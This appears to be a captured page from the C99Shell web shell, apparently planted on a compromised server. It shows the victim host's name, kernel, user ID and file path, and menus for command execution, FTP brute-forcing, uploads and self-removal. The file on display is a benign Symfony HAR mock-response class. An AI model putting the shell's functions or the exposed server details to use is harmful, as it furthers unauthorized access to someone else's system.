!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/symfony/http-client/Test/   drwxr-xr-x
Free 29.12 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HarFileResponseFactory.php (3.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpClient\Test;

use 
Symfony\Component\HttpClient\Exception\TransportException;
use 
Symfony\Component\HttpClient\Response\MockResponse;
use 
Symfony\Contracts\HttpClient\ResponseInterface;

/**
 * See: https://w3c.github.io/web-performance/specs/HAR/Overview.html.
 *
 * @author Gary PEGEOT <garypegeot@gmail.com>
 */
class HarFileResponseFactory
{
    public function 
__construct(private string $archiveFile)
    {
    }

    public function 
setArchiveFile(string $archiveFile): void
    
{
        
$this->archiveFile $archiveFile;
    }

    public function 
__invoke(string $methodstring $url, array $options): ResponseInterface
    
{
        if (!
is_file($this->archiveFile)) {
            throw new 
\InvalidArgumentException(sprintf('Invalid file path provided: "%s".'$this->archiveFile));
        }

        
$json json_decode(jsonfile_get_contents($this->archiveFile), associativetrueflags\JSON_THROW_ON_ERROR);

        foreach (
$json['log']['entries'] as $entry) {
            
/**
             * @var array{status: int, headers: array, content: array}  $response
             * @var array{method: string, url: string, postData: array} $request
             */
            
['response' => $response'request' => $request'startedDateTime' => $startedDateTime] = $entry;

            
$body $this->getContent($response['content']);
            
$entryMethod $request['method'];
            
$entryUrl $request['url'];
            
$requestBody $options['body'] ?? null;

            if (
$method !== $entryMethod || $url !== $entryUrl) {
                continue;
            }

            if (
null !== $requestBody && $requestBody !== $this->getContent($request['postData'] ?? [])) {
                continue;
            }

            
$info = [
                
'http_code' => $response['status'],
                
'http_method' => $entryMethod,
                
'response_headers' => [],
                
'start_time' => strtotime($startedDateTime),
                
'url' => $entryUrl,
            ];

            
/** @var array{name: string, value: string} $header */
            
foreach ($response['headers'] as $header) {
                [
'name' => $name'value' => $value] = $header;

                
$info['response_headers'][$name][] = $value;
            }

            return new 
MockResponse($body$info);
        }

        throw new 
TransportException(sprintf('File "%s" does not contain a response for HTTP request "%s" "%s".'$this->archiveFile$method$url));
    }

    
/**
     * @param array{text: string, encoding: string} $content
     */
    
private function getContent(array $content): string
    
{
        
$text $content['text'] ?? '';
        
$encoding $content['encoding'] ?? null;

        return match (
$encoding) {
            
'base64' => base64_decode($text),
            
null => $text,
            default => throw new 
\InvalidArgumentException(sprintf('Unsupported encoding "%s", currently only base64 is supported.'$encoding)),
        };
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--